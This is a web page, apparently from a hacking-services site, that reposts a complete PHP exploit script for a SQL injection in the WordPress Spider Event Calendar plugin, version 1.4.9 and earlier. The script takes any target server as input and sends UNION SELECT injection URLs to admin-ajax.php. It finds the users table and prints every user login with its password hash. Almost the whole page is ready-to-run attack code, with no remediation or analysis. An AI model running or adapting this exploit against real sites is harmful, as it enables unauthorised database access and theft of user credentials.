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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
<?php
 
/*

# Exploit Title: WordPress: Webdorado Spider Event Calendar <= 1.4.9  [SQL Injection]
# Date: 2015-02-12
# Exploit Author: Mateusz Lach
# Vendor Homepage: https://www.facebook.com/WebDorado or http://www.webdorado.com
# Software Link: https://downloads.wordpress.org/plugin/spider-event-calendar.1.4.9.zip
# Version: 1.4.9
# Tested on: OpenSUSE Linux + Chrome and Firefox, it's PHP application.
# CVE : CWE-89
# OWASP Top10: A1-Injection


 This program is free software: you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation, either version 3 of the License, or
    (at your option) any later version.
 
    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.
 
    You should have received a copy of the GNU General Public License
    along with this program.  If not, see <http://www.gnu.org/licenses/>.
 
    # Exploit Title: WordPress: Webdorado Spider Event Calendar <= 1.4.9 [SQL Injection]
    # Date: 2015-02-12
    # Exploit Author: Mateusz Lach
    # Vendor Homepage: https://www.facebook.com/WebDorado or http://www.webdorado.com
    # Software Link: https://downloads.wordpress.org/plugin/spider-event-calendar.1.4.9.zip
    # Version: 1.4.9
    # Tested on: OpenSUSE Linux + Chrome and Firefox, it's PHP application.
    # CVE : CWE-89
    # OWASP Top10: A1-Injection
 */
 
define('FETCH_PREFIX_URL', 'http://%s/wp-admin/admin-ajax.php?action=spiderbigcalendar_month&theme_id=13&calendar=1&select=month,list,week,day,&date=2015-02&many_sp_calendar=1&cur_page_url=%s&cat_id=1)%%20UNION%%20SELECT%%20%s,1,%%20FROM_UNIXTIME(1423004400),1,(SELECT%%20CONCAT(CHAR(35,35,35,35),table_name,CHAR(35,35,35,35))%%20FROM%%20information_schema.tables%%20WHERE%%20table_name%%20LIKE%%20(%%20SELECT%%20CHAR(37,%%20117,%%20115,%%20101,%%20114,%%20115)%%20)%%20LIMIT%%201),1,1,1,1,%%20CHAR(110,%%20111,%%2095,%%20114,%%20101,%%20112,%%20101,%%2097,%%20116),1,1,1,1,1,1,1,1,1%%20FROM%%20DUAL;--%%20--%%20&widget=0');
 
define('FETCH_USERS_URL', 'http://%s/wp-admin/admin-ajax.php?action=spiderbigcalendar_month&theme_id=13&calendar=1&select=month,list,week,day,&date=2015-02&many_sp_calendar=1&cur_page_url=%s&cat_id=1)%%20UNION%%20SELECT%%20%s,1,%%20FROM_UNIXTIME(1423004400),1,%%20CONCAT(CHAR(35,33,35,33,35,33,35),GROUP_CONCAT(%%20CONCAT(%%20CONCAT(user_login,CHAR(35,%%2035),user_pass))),CHAR(35,33,35,33,35,33,35)),%%201,1,1,1,%%20CHAR(110,%%20111,%%2095,%%20114,%%20101,%%20112,%%20101,%%2097,%%20116),1,1,1,1,1,1,1,1,1%%20as%%20fakeGroup%%20FROM%%20%s%%20GROUP%%20BY%%20fakeGroup;--%%20&widget=0');
 
define('FAKE_ID_TO_SEARCH', 12345677654321);
define('PATTERN_TO_SEARCH', 'ev_ids='.FAKE_ID_TO_SEARCH);
define('PATTERN_TO_SEARCH_USERS', '#!#!#!#');
define('ROW_SEPARATOR', ',');
define('FIELD_SEPARATOR', '##');
$server = $_GET['SRV'];
if (empty($server))
{
    echo 'Please put server (without protocol) name in SRV GET variable!';
}
else
{
    $fullURL = sprintf(FETCH_PREFIX_URL, $server, $server, FAKE_ID_TO_SEARCH);
    $prefixCurl = curl_init($fullURL);
    curl_setopt($prefixCurl, CURLOPT_RETURNTRANSFER, true);
    $result = curl_exec($prefixCurl);
    if (stripos($result, PATTERN_TO_SEARCH) !== false)
    {
        preg_match('/####[a-zA-Z\_0-9]*####/', $result, $tableNames);
        $tableName = str_replace('####', '', $tableNames[0]);
        echo 'tableName: '.$tableName.'<BR/>';
        $fullURL = sprintf(FETCH_USERS_URL, $server, $server, FAKE_ID_TO_SEARCH, $tableName);
        $usersCurl = curl_init($fullURL);
        curl_setopt($usersCurl, CURLOPT_RETURNTRANSFER, true);
        $result = curl_exec($usersCurl);  
        if (stripos($result, PATTERN_TO_SEARCH) !== false)
        {
            $from = stripos($result, PATTERN_TO_SEARCH_USERS);
            $to = stripos($result, PATTERN_TO_SEARCH_USERS, $from + strlen(PATTERN_TO_SEARCH_USERS));
            $result = substr($result, $from, $to-$from);
            echo '<table><tr><td>'.str_replace(FIELD_SEPARATOR, '</td><td>', str_replace(ROW_SEPARATOR, '</td></tr><tr><td>', str_replace(PATTERN_TO_SEARCH_USERS, '', $result))).'</td></tr></table>';
        }
        else
        {
            echo 'Table name fetched, but not users - try to rewrite exploit :-(';
        }
    }
    else
    {
        echo 'NOT vulnerable :-(';
    }
}